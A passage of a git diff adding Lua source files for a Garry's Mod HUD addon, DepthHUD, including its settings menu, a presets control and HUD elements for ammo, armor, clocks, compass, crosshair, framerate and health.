dhinline.GetNamesTable() + for k,name in pairs(names) do + local element_name = dhinline.Get(name).Name or name + + local ListCheck = vgui.Create( "DhCheckPos" ) + ListCheck:SetText( element_name ) + ListCheck:SetConVar( "dhinline_element_" .. name ) + ListCheck:SetConVarX( "dhinline_element_" .. name .. "_x" ) + ListCheck:SetConVarY( "dhinline_element_" .. name .. "_y" ) + ListCheck:SetMinMax( 0 , dhinline_GetGridDivideMax() ) + /*dhinline.Get(name):CreateMyPanel( ListCheck:GetOptionsPanelList() ) + ListCheck:SizeToContents() + ListCheck:PerformLayout()*/ + ListCheck.button.DoClick = function() + RunConsoleCommand( "dhinline_element_" .. name .. "_x", dhinline.Get(name).DefaultGridPosX ) + RunConsoleCommand( "dhinline_element_" .. name .. "_y", dhinline.Get(name).DefaultGridPosY ) + //dhinline.Get(name):ResetMyConVars( ) + end + ElementsList:AddItem( ListCheck ) -- Add the item above + end + + // RELOAD BUTTON + local ElementReloadButton = vgui.Create("DButton") + ElementReloadButton:SetText( "Reload Element Files" ) + ElementReloadButton.DoClick = function() + RunConsoleCommand("dhinline_reloadelements") + DermaPanel:Close() + RunConsoleCommand("dhinline_menu") + end + + // MAKE: ELEMENTS + ElementsCatList:AddItem( ElementsCompoSaver ) //Adds ELEMENT PRESETS + ElementsCatList:AddItem( ElementsList ) //Adds the ELEMENT LIST + ElementsCatList:AddItem( ElementReloadButton ) //Adds the RELOAD BUTTON + ElementsCatList:PerformLayout() + ElementsCatList:SizeToContents() + ElementsCategory:SetContents( ElementsCatList ) //CATEGORY ELEMENTS FILLED + + + ////// CATEGORY : UIStyle + local UIStyleCategory = vgui.Create("DCollapsibleCategory", PanelList) + UIStyleCategory:SetSize( W_WIDTH, 50 ) + UIStyleCategory:SetExpanded( 0 ) -- Expanded when popped up + UIStyleCategory:SetLabel( "UI Design" ) + + local UIStyleCatList = vgui.Create( "DPanelList" ) + UIStyleCatList:SetAutoSize( true ) + UIStyleCatList:SetSize(W_WIDTH, 128 ) + UIStyleCatList:EnableHorizontal( false ) + UIStyleCatList:EnableVerticalScrollbar( false ) + + // REVERT BUTTON + local UIStyleRevertButton = vgui.Create("DButton") + UIStyleRevertButton:SetText( "Revert Style back to Defaults" ) + UIStyleRevertButton.DoClick = function() + RunConsoleCommand("dhinline_revertstyle") + end + + // PRESETS : STYLE + local UIStyleSaver = dhinline_MakePresetPanel( { + options = { ["default"] = style_condefs }, + cvars = style_convars, + folder = "dhinline_style" + } ) + + // DYNAMIC BACK + local UIStyleDynamicbackCheck = vgui.Create( "DCheckBoxLabel" ) + UIStyleDynamicbackCheck:SetText( "Enable Dynamic Background" ) + UIStyleDynamicbackCheck:SetConVar( "dhinline_ui_dynamicbackground" ) + UIStyleDynamicbackCheck:SetValue( GetConVarNumber( "dhinline_ui_dynamicbackground" ) ) + + // DRAWGLOW BACK + local UIStyleDrawglowCheck = vgui.Create( "DCheckBoxLabel" ) + UIStyleDrawglowCheck:SetText( "Enable Glow" ) + UIStyleDrawglowCheck:SetConVar( "dhinline_ui_drawglow" ) + UIStyleDrawglowCheck:SetValue( GetConVarNumber( "dhinline_ui_drawglow" ) ) + + // BLENDFONT + local UIStyleBlendfontsCheck = vgui.Create( "DCheckBoxLabel" ) + UIStyleBlendfontsCheck:SetText( "Fonts use Additive Mode" ) + UIStyleBlendfontsCheck:SetConVar( "dhinline_ui_blendfonts" ) + UIStyleBlendfontsCheck:SetValue( GetConVarNumber( "dhinline_ui_blendfonts" ) ) + + // SIZE XREL + local UIStyleSpacingSlider = vgui.Create("DNumSlider") + UIStyleSpacingSlider:SetText( "Spacing" ) + UIStyleSpacingSlider:SetMin( 0 ) + UIStyleSpacingSlider:SetMax( 2 ) + UIStyleSpacingSlider:SetDecimals( 1 ) + UIStyleSpacingSlider:SetConVar("dhinline_ui_spacing") + + // COLOR BASE + local UIBaseCLabel = vgui.Create("DLabel") + UIBaseCLabel:SetText( "Base Color" ) + local UIBaseColor = vgui.Create("CtrlColor") + UIBaseColor:SetSize( W_WIDTH, 108 ) + UIBaseColor:SetConVarR("dhinline_col_base_r") + UIBaseColor:SetConVarG("dhinline_col_base_g") + UIBaseColor:SetConVarB("dhinline_col_base_b") + UIBaseColor:SetConVarA("dhinline_col_base_a") + + // COLOR BACK + local UIBackCLabel = vgui.Create("DLabel") + UIBackCLabel:SetText( "Back Color" ) + local UIBackColor = vgui.Create("CtrlColor") + UIBackColor:SetSize( W_WIDTH, 108 ) + UIBackColor:SetConVarR("dhinline_col_back_r") + UIBackColor:SetConVarG("dhinline_col_back_g") + UIBackColor:SetConVarB("dhinline_col_back_b") + UIBackColor:SetConVarA("dhinline_col_back_a") + + // MAKE: UIStyle + UIStyleCatList:AddItem( UIStyleRevertButton ) //Adds the REVERT BUTTON + UIStyleCatList:AddItem( UIStyleSaver ) //Adds PRESETS + UIStyleCatList:AddItem( UIStyleDynamicbackCheck ) + UIStyleCatList:AddItem( UIStyleDrawglowCheck ) + UIStyleCatList:AddItem( UIStyleBlendfontsCheck ) + UIStyleCatList:AddItem( UIStyleSpacingSlider ) //Adds the SPACING SLIDER + UIStyleCatList:AddItem( UIBaseCLabel ) //Adds the BASE LBL + UIStyleCatList:AddItem( UIBaseColor ) //Adds the BASE COLOR + UIStyleCatList:AddItem( UIBackCLabel ) //Adds the BACK LBL + UIStyleCatList:AddItem( UIBackColor ) //Adds the BACK COLOR + UIStyleCatList:PerformLayout() + UIStyleCatList:SizeToContents() + UIStyleCategory:SetContents( UIStyleCatList ) //CATEGORY GENERAL FILLED + + + + + + + //FINISHING THE PANEL + PanelList:AddItem( GeneralCategory ) //CATEGORY GENERAL CREATED + PanelList:AddItem( ElementsCategory ) //CATEGORY ELEMENTS CREATED + PanelList:AddItem( UIStyleCategory ) //CATEGORY UIStyle CREATED + +end +concommand.Add("dhinline_menu",dhinline_ShowMenu) + diff --git a/Repos/HeXs_DepthHUD-master/lua/control_presets.lua b/Repos/HeXs_DepthHUD-master/lua/control_presets.lua new file mode 100644 index 0000000..16e7e29 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/control_presets.lua @@ -0,0 +1,164 @@ +// +// ___ ___ _ _ _ __ _ ___ ___ __ __ +// |_ _|| __| / \ | \_/ | / _| / \ | o \ o \\ V / +// | | | _| | o || \_/ | ( |_n| o || / / \ / +// |_| |___||_n_||_| |_| \__/|_n_||_|\\_|\\ |_| 2007 +// +// + +HeXInclude( 'preset_editor.lua' ) + +local PANEL = {} + +/*--------------------------------------------------------- + Name: Paint +---------------------------------------------------------*/ +function PANEL:Init() + + self.DropDown = vgui.Create( "DMultiChoice", self ) + self.DropDown.OnSelect = function( dropdown, index, value, data ) self:OnSelect( index, value, data ) end + self.DropDown:SetText( "Presets" ) + self.DropDown:SetEditable( false ) + + self.Button = vgui.Create( "DSysButton", self ) + self.Button:SetType( "right" ) + self.Button.DoClick = function() self:OpenPresetEditor() end + + self:SetTall( 20 ) + + self.ConVars = {} + +end + + +/*--------------------------------------------------------- + Name: SetLabel +---------------------------------------------------------*/ +function PANEL:SetLabel( strName ) + + self.Label:SetText( strName ) + +end + + +/*--------------------------------------------------------- + Name: SetLabel +---------------------------------------------------------*/ +function PANEL:AddOption( strName, data ) + + self.DropDown:AddChoice( strName, data ) + +end + + +/*--------------------------------------------------------- + Name: PerformLayout +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + self.Button:SetSize( self:GetTall(), self:GetTall() ) + self.Button:SetPos( self:GetWide() - self.Button:GetWide(), 0 ) + + self.DropDown:SetPos( 0, 0 ) + self.DropDown:SetWide( self:GetWide() - self.Button:GetWide() - 5 ) + +end + + +/*--------------------------------------------------------- + Name: OnSelect +---------------------------------------------------------*/ +function PANEL:OnSelect( index, value, data ) + + if ( !data ) then return end + + for k, v in pairs( data ) do + RunConsoleCommand( k, v ) + end + +end + + +/*--------------------------------------------------------- + Name: OpenPresetEditor +---------------------------------------------------------*/ +function PANEL:OpenPresetEditor() + + if (!self.m_strPreset) then return end + + self.Window = vgui.Create( "PresetEditor" ) + self.Window:MakePopup() + self.Window:Center() + self.Window:SetType( self.m_strPreset ) + self.Window:SetConVars( self.ConVars ) + self.Window:SetPresetControl( self ) + +end + +/*--------------------------------------------------------- + Add A ConVar to store +---------------------------------------------------------*/ +function PANEL:AddConVar( convar ) + + table.insert( self.ConVars, convar ) + +end + + +/*--------------------------------------------------------- + Name: GetConVars +---------------------------------------------------------*/ +function PANEL:GetConVars( convar ) + + return self.ConVars + +end + + +/*--------------------------------------------------------- + Name: OpenPresetEditor +---------------------------------------------------------*/ +function PANEL:SetPreset( strName ) + + self.m_strPreset = strName + self:ReloadPresets() + +end + + +/*--------------------------------------------------------- + Name: ReloadPresets +---------------------------------------------------------*/ +function PANEL:ReloadPresets() + + self:Clear() + + local t = presets.GetTable( self.m_strPreset ) + + for k, v in pairs( t ) do + self:AddOption( k, v ) + end + +end + +/*--------------------------------------------------------- + Name: Update +---------------------------------------------------------*/ +function PANEL:Update() + + self:ReloadPresets() + +end + +/*--------------------------------------------------------- + Name: Clear +---------------------------------------------------------*/ +function PANEL:Clear() + + self.DropDown:Clear() + +end + + + +vgui.Register( "ControlPresets", PANEL, "Panel" ) \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo.lua new file mode 100644 index 0000000..d428510 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo.lua @@ -0,0 +1,96 @@ +ELEMENT.Name = "Ammo : Primary" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 16 +ELEMENT.DefaultGridPosY = 16 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.STORmaxammo = {} +ELEMENT.tvars = {} + +ELEMENT.colorText = nil +ELEMENT.colorLesser = nil +ELEMENT.colorEmpty = Color(255,0,0,92) +ELEMENT.colorEmptyText = Color(255,0,0,192) + +function ELEMENT:Initialize( ) +end + +function ELEMENT:DrawFunction( ) + if LocalPlayer():Alive() then + local SWEP = LocalPlayer():GetActiveWeapon() + self.tvars = {} + if SWEP:IsValid() then + self.tvars.clip1type = SWEP:GetPrimaryAmmoType() or "" + self.tvars.clip1 = tonumber(SWEP:Clip1()) or -1 + self.tvars.clip1left = LocalPlayer():GetAmmoCount(self.tvars.clip1type) + else + self.tvars.clip1 = -1 + self.tvars.clip1left = -1 + end + if not self.STORmaxammo[SWEP] then + self.STORmaxammo[SWEP] = self.tvars.clip1 + elseif self.tvars.clip1 > self.STORmaxammo[SWEP] then + self.STORmaxammo[SWEP] = self.tvars.clip1 + end + + self.tvars.clip1max = tonumber(self.STORmaxammo[SWEP]) or 1 + + //Sweps, not the phys/gravgun... + if self.tvars.clip1 >= 0 and self.tvars.clip1type != -1 then + self.colorText = nil + self.colorLesser = nil + local smallText = "" + local rate = -1 + if self.tvars.clip1 <= 0 then + self.colorLesser = self.colorEmpty + self.colorText = self.colorEmptyText + end + if self.tvars.clip1left > 0 then + smallText = self.tvars.clip1left + else + smallText = "" + end + + local rate = self.tvars.clip1 / (self.STORmaxammo[SWEP] or 1) + + self:DrawGenericInfobox( + /*Text */ self.tvars.clip1 + /*Subtxt */ ,smallText + /* % */ ,rate + /*atRight*/ ,true + /*0.0 col*/ ,self.colorLesser + /*1.0 col*/ ,self.colorLesser + /*minSize*/ ,0.0 + /*maxSize*/ ,1.0 + /*blink< */ ,0.0 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,true + /*stCol */ ,self.colorText + /*stColSm*/ ,nil + ) + + //Gravgun/nades + elseif self.tvars.clip1left > 0 then + self:DrawGenericInfobox( + /*Text */ self.tvars.clip1left + /*Subtxt */ ,"" + /* % */ ,-1 + /*atRight*/ ,true + /*0.0 col*/ ,nil + /*1.0 col*/ ,nil + /*minSize*/ ,1.0 + /*maxSize*/ ,1.0 + /*blink< */ ,1.0 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,true + /*stCol */ ,nil + /*stColSm*/ ,nil + ) + end + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo_sec.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo_sec.lua new file mode 100644 index 0000000..c8fc88e --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo_sec.lua @@ -0,0 +1,47 @@ +ELEMENT.Name = "Ammo : Secondary" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 16 +ELEMENT.DefaultGridPosY = 14 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.tvars = {} + +function ELEMENT:Initialize( ) +end + +function ELEMENT:DrawFunction( ) + if LocalPlayer():Alive() then + local SWEP = LocalPlayer():GetActiveWeapon() + self.tvars = {} + if SWEP:IsValid() then + self.tvars.clip2type = SWEP:GetSecondaryAmmoType() or "" + //self.tvars.clip2 = tonumber(SWEP:Clip2()) or 0 + self.tvars.clip2left = LocalPlayer():GetAmmoCount(self.tvars.clip2type) + else + //self.tvars.clip2 = -1 + self.tvars.clip2left = -1 + end + + if self.tvars.clip2left > 0 then + self:DrawGenericInfobox( + /*Text */ self.tvars.clip2left + /*Subtxt */ ,"" + /* % */ ,-1 + /*atRight*/ ,true + /*0.0 col*/ ,nil + /*1.0 col*/ ,nil + /*minSize*/ ,1.0 + /*maxSize*/ ,1.0 + /*blink< */ ,1.0 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,true + /*stCol */ ,nil + /*stColSm*/ ,nil + ) + end + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/armor.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/armor.lua new file mode 100644 index 0000000..d6dbe12 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/armor.lua @@ -0,0 +1,83 @@ +ELEMENT.Name = "Armor" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 2 +ELEMENT.DefaultGridPosY = 16 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.xRelPosEvo = 0 +ELEMENT.yRelPosEvo = -1 + +ELEMENT.EvoLagMul = 2.5 +ELEMENT.EvoDuration = 2 +ELEMENT.EvoPower = 4 + +ELEMENT.LastArmor = 0 + +ELEMENT.color = nil +ELEMENT.batteryEmptyColor = Color(128,164,190,164) +ELEMENT.batteryChargedColor = Color(164,220,255,192) +ELEMENT.accumPositive = Color(164,220,255,192) +ELEMENT.accumNegative = Color(128,164,190,128) + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + if (LocalPlayer():Alive() and LocalPlayer():Armor() > 0) or ((not LocalPlayer():Alive()) and (self.LastArmor > 0)) then + local rate = LocalPlayer():Armor() / 100 + + if (LocalPlayer():Armor() != self.LastArmor) then + local accum = dhinline_GetVolatileStorage("armor_evolution") or 0 + self.color = nil + local text = "" + accum = accum + (LocalPlayer():Armor() - self.LastArmor) + + if (accum > 0) then + self.color = self.accumPositive + text = "+" .. accum + else + self.color = self.accumNegative + text = "" .. accum + end + + + self:UpdateVolatile( +/*Vola */ "armor_evolution" +/*xRelOff*/ ,self.xRelPosEvo +/*yRelOff*/ ,self.yRelPosEvo +/*Text */ ,text +/*Color */ ,self.color +/*LagMul */ ,self.EvoLagMul +/*Font */ ,nil +/*Time */ ,self.EvoDuration +/*FadePow*/ ,self.EvoPower +/*Storage*/ ,accum + ) + end + + if (LocalPlayer():Alive()) then + self:DrawGenericInfobox( + /*Text */ LocalPlayer():Armor() + /*Subtxt */ ,"" + /* % */ ,rate + /*atRight*/ ,false + /*0.0 col*/ ,self.batteryEmptyColor + /*1.0 col*/ ,self.batteryChargedColor + /*minSize*/ ,1.0 + /*maxSize*/ ,1.0 + /*blink< */ ,0.0 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,false + /*stCol */ ,nil + /*stColSm*/ ,nil + ) + end + end + + self.LastArmor = LocalPlayer():Armor() + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_12.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_12.lua new file mode 100644 index 0000000..b9ea874 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_12.lua @@ -0,0 +1,22 @@ +ELEMENT.Name = "Clock (12-hour format)" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = -1.7 +ELEMENT.SizeY = -0.65 + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + self:DrawGenericContentbox( +/*Text */ os.date("%I:%M:%S %p") +/*Subtxt */ ,"" +/*Txtcol */ ,nil +/*Stxtcol*/ ,nil +/*FontN */ ,1 + ) + + return false +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_24.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_24.lua new file mode 100644 index 0000000..b401cfe --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_24.lua @@ -0,0 +1,22 @@ +ELEMENT.Name = "Clock (24-hour format)" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = -1.7 +ELEMENT.SizeY = -0.65 + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + self:DrawGenericContentbox( +/*Text */ os.date("%H:%M:%S") +/*Subtxt */ ,"" +/*Txtcol */ ,nil +/*Stxtcol*/ ,nil +/*FontN */ ,1 + ) + + return false +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/compass.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/compass.lua new file mode 100644 index 0000000..59a7d8b --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/compass.lua @@ -0,0 +1,124 @@ +ELEMENT.Name = "Compass" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 1 +ELEMENT.SizeX = -2.0 +ELEMENT.SizeY = -0.75 + +ELEMENT.text = "" +ELEMENT.textColor = nil +ELEMENT.textColorCalc = Color(0,255,255,255) +ELEMENT.textSmall = "" +ELEMENT.textSmallColor = nil +ELEMENT.textSmallColorCalc = Color(0,255,255,255) +ELEMENT.textColorBaseAlpha = 0 +ELEMENT.MaxFramerate = 100 +ELEMENT.colorXcoords = Color(255,0,0,192) +ELEMENT.colorYcoords = Color(0,255,0,192) +ELEMENT.EyeAng = nil +ELEMENT.yaw = nil + +ELEMENT.myXEquirel = 0 +ELEMENT.myYEquirel = 0 +ELEMENT.myAlphaAlter = 0 + +ELEMENT.baseColor = dhinline_GetStyleData("color_base") + +ELEMENT.tvars = {} +ELEMENT.pointsCard = { + [0] = "N", + [45] = "NE", + [90] = "E", + [135] = "SE", + [180] = "S", + [225] = "SW", + [270] = "W", + [315] = "NW", +} +ELEMENT.pointsSmall = { + [0] = {"Y+", ELEMENT.colorYcoords}, + [45] = "|", + [90] = {"X+", ELEMENT.colorXcoords}, + [135] = "|", + [180] = {"Y-", ELEMENT.colorYcoords}, + [225] = "|", + [270] = {"X-", ELEMENT.colorXcoords}, + [315] = "|", +} + +function ELEMENT:Initialize( ) + for i = 0,359,15 do + if not self.pointsCard[i] then + self.pointsCard[i] = "." + end + end +end + +function ELEMENT:DrawFunction( ) + self.EyeAng = EyeAngles() + self.yaw = self.EyeAng.y + + self:DrawGenericContentbox( +/*Text */ "" +/*Subtxt */ ,"" +/*Txtcol */ ,nil +/*Stxtcol*/ ,nil +/*FontN */ ,0 + ) + + self.textColorBaseAlpha = self.baseColor.a + for k,v in pairs(self.pointsCard) do + if math.sin((self.yaw + k)/180*math.pi) > 0 then + self.myXEquirel = math.sin((self.yaw + k)/180*math.pi) + self.myYEquirel = math.cos((self.yaw+k)/180*math.pi) + + self.myAlphaAlter = (1 - (1 - math.Clamp(math.abs( self.myXEquirel ), 0, 1)^2) ) + + if type(v) != "table" then + self.textColorCalc.r = self.baseColor.r + self.textColorCalc.g = self.baseColor.g + self.textColorCalc.b = self.baseColor.b + self.textColorCalc.a = self.textColorBaseAlpha * self.myAlphaAlter + self.textColor = self.textColorCalc + + self.text = v + else + self.textColorCalc.r = v[2].r + self.textColorCalc.g = v[2].g + self.textColorCalc.b = v[2].b + self.textColorCalc.a = v[2].a * self.myAlphaAlter + + self.textColor = self.textColorCalc + self.text = v[1] + end + + if (self.pointsSmall[k]) then + if (type(self.pointsSmall[k]) != "table") then + self.textSmallColorCalc.r = self.baseColor.r + self.textSmallColorCalc.g = self.baseColor.g + self.textSmallColorCalc.b = self.baseColor.b + self.textSmallColorCalc.a = self.textColorBaseAlpha * self.myAlphaAlter + + self.textSmallColor = self.textSmallColorCalc + self.textSmall = self.pointsSmall[k] + else + self.textSmallColorCalc.r = self.pointsSmall[k][2].r + self.textSmallColorCalc.g = self.pointsSmall[k][2].g + self.textSmallColorCalc.b = self.pointsSmall[k][2].b + self.textSmallColorCalc.a = self.pointsSmall[k][2].a * self.myAlphaAlter + + self.textSmallColor = self.textSmallColorCalc + self.textSmall = self.pointsSmall[k][1] + end + else + self.textSmall = "" + self.textSmallColor = nil + end + + + self:DrawGenericText(tostring(self.text), tostring(self.textSmall), self.textColor, self.textSmallColor, -1, self.myXEquirel * 0.6, self.myYEquirel * 0.9, -0.3 ) + end + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/crosshair_linebow.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/crosshair_linebow.lua new file mode 100644 index 0000000..f9b2b1e --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/crosshair_linebow.lua @@ -0,0 +1,65 @@ +ELEMENT.Name = "Linebow Crosshair (BETA)" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 6 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.STORmaxammo = {} +ELEMENT.tvars = {} + +ELEMENT.traceLineData = {} +ELEMENT.traceLineRes = {} + +ELEMENT.crosshair = surface.GetTextureID("depthhud/linebow_crosshair.vmt") +ELEMENT.crosshairDot = surface.GetTextureID("depthhud/X_CircleSolid.vmt") +ELEMENT.cBaseSize = 52 +ELEMENT.minRate = 1.3 +ELEMENT.maxRate = 1.0 +ELEMENT.dotFrac = 0.07 + +function ELEMENT:Initialize( ) + self:CreateSmoother("chsize", self.cBaseSize, 0.1) + self:CreateSmoother("chx", 0.5*ScrW(), 0.5) + self:CreateSmoother("chy", 0.5*ScrH(), 0.5) +end + +function ELEMENT:DrawFunction( ) + if LocalPlayer():InVehicle() then return false end + local ephem_linebow, ephem_dot = self:GetMyGridPos() + if (ephem_linebow <= 0) and (ephem_dot <= 0) then return false end + + self.traceLineData = util.GetPlayerTrace( LocalPlayer(), LocalPlayer():GetAimVector() ) + self.traceLineRes = util.TraceLine( self.traceLineData ) + + local scrpos = self.traceLineRes.HitPos:ToScreen() + self:ChangeSmootherTarget("chx", scrpos.x) + self:ChangeSmootherTarget("chy", scrpos.y) + local scrpos_smoothx = self:GetSmootherCurrent("chx") + local scrpos_smoothy = self:GetSmootherCurrent("chy") + + local styleColor = dhinline_GetStyleData("color_base") + + local distdet = 1 - self.traceLineRes.Fraction + local size_real = (self.cBaseSize * self.maxRate * distdet) + (self.cBaseSize * self.minRate * (1-distdet)) + self:ChangeSmootherTarget("chsize", size_real) + + + local size_smooth = math.floor(self:GetSmootherCurrent("chsize")) + + + + surface.SetDrawColor(styleColor.r, styleColor.g, styleColor.b, styleColor.a) + if (ephem_linebow > 0) then + ephem_linebow = ephem_linebow / dhinline_GetGridDivideMax() * 2.0 + surface.SetTexture(self.crosshair) + surface.DrawTexturedRectRotated(ScrW()*0.5, ScrH()*0.5, size_smooth*ephem_linebow, size_smooth*ephem_linebow, 0) + end + if (ephem_dot > 0) then + ephem_dot = ephem_dot / dhinline_GetGridDivideMax() * 2.0 + surface.SetTexture(self.crosshairDot) + surface.DrawTexturedRectRotated(scrpos_smoothx, scrpos_smoothy, self.cBaseSize*self.dotFrac*ephem_dot, self.cBaseSize*self.dotFrac*ephem_dot, 0) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate.lua new file mode 100644 index 0000000..5b7ef79 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate.lua @@ -0,0 +1,48 @@ +ELEMENT.Name = "Framerate (Smooth)" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.MaxFramerate = 100 +ELEMENT.colorBadLesser = Color(255,0,0,92) + +function ELEMENT:Initialize( ) + self:CreateSmoother("framerate", 25, 0.01) +end + +function ELEMENT:DrawFunction( ) + local framerate_smooth = math.floor(self:GetSmootherCurrent("framerate")) + + local framerate = nil + if (FrameTime() != 0) then + framerate = math.ceil(1 /FrameTime()) + else + framerate = 0 + end + local smallText = "FPS" + self:ChangeSmootherTarget("framerate", framerate) + + rate = 1 - (1 - math.Clamp(framerate_smooth / self.MaxFramerate,0,1))^2 + + + self:DrawGenericInfobox( +/*Text */ framerate_smooth +/*Subtxt */ ,smallText +/* % */ ,rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,0.5 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate_fast.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate_fast.lua new file mode 100644 index 0000000..2428b92 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate_fast.lua @@ -0,0 +1,72 @@ +ELEMENT.Name = "Framerate (Fast)" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.MaxFramerate = 100 +ELEMENT.colorBadLesser = Color(255,0,0,92) +ELEMENT.colorSlight = Color(0,0,0,92) + +ELEMENT.FPShi_table = {} +ELEMENT.FPShi_max = 5 // Must be > 1 +ELEMENT.FPShi_alphamin = 16 +ELEMENT.FPShi_alphamax = -1 + + +function ELEMENT:Initialize( ) + self:CreateSmoother("framerate", 25, 0.05) + + for i=1,self.FPShi_max do + self.FPShi_table[i] = 25 + end +end + +function ELEMENT:DrawFunction( ) + local framerate_smooth = math.floor(self:GetSmootherCurrent("framerate")) + + local framerate = nil + if (FrameTime() != 0) then + framerate = math.ceil(1 /FrameTime()) + else + framerate = 0 + end + table.remove(self.FPShi_table,1) + table.insert(self.FPShi_table,framerate) + local smallText = "FPS" + self:ChangeSmootherTarget("framerate", framerate) + + rate = 1 - (1 - math.Clamp(framerate_smooth / self.MaxFramerate,0,1))^2 + + + self:DrawGenericInfobox( +/*Text */ "" //framerate_smooth +/*Subtxt */ ,smallText +/* % */ ,rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,0.5 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + + local styleColor = dhinline_GetStyleData("color_base") + self.colorSlight.r = styleColor.r + self.colorSlight.g = styleColor.g + self.colorSlight.b = styleColor.b + self.FPShi_alphamax = styleColor.a / (self.FPShi_max-1) + + for i=self.FPShi_max,1,-1 do + self.colorSlight.a = self.FPShi_alphamax * (1-(1-(i / self.FPShi_max))^2) + self.FPShi_alphamin * (1-(i / self.FPShi_max)^2) + self:DrawGenericText(self.FPShi_table[i], "", self.colorSlight, nil, 2, 1, 0.45, 0 ) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/health.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/health.lua new file mode 100644 index 0000000..db99289 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/health.lua @@ -0,0 +1,90 @@ +ELEMENT.Name = "Health" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 16 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.xRelPosEvo = 0 +ELEMENT.yRelPosEvo = -1 + +ELEMENT.EvoLagMul = 2.5 +ELEMENT.EvoDuration = 2 +ELEMENT.EvoPower = 4 + +ELEMENT.LastHealth = 0 + +ELEMENT.color = nil +ELEMENT.accumPositive = Color(0,255,0,255) +ELEMENT.accumNegative = Color(255,0,0,255) +ELEMENT.healthColor = nil +ELEMENT.colorBad = Color(255,0,0,192) +ELEMENT.colorBadLesser = Color(255,0,0,128) + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + //self:DrawGenericContentbox(512, math.floor(32 * 1.4), 128, "aaa") + + if 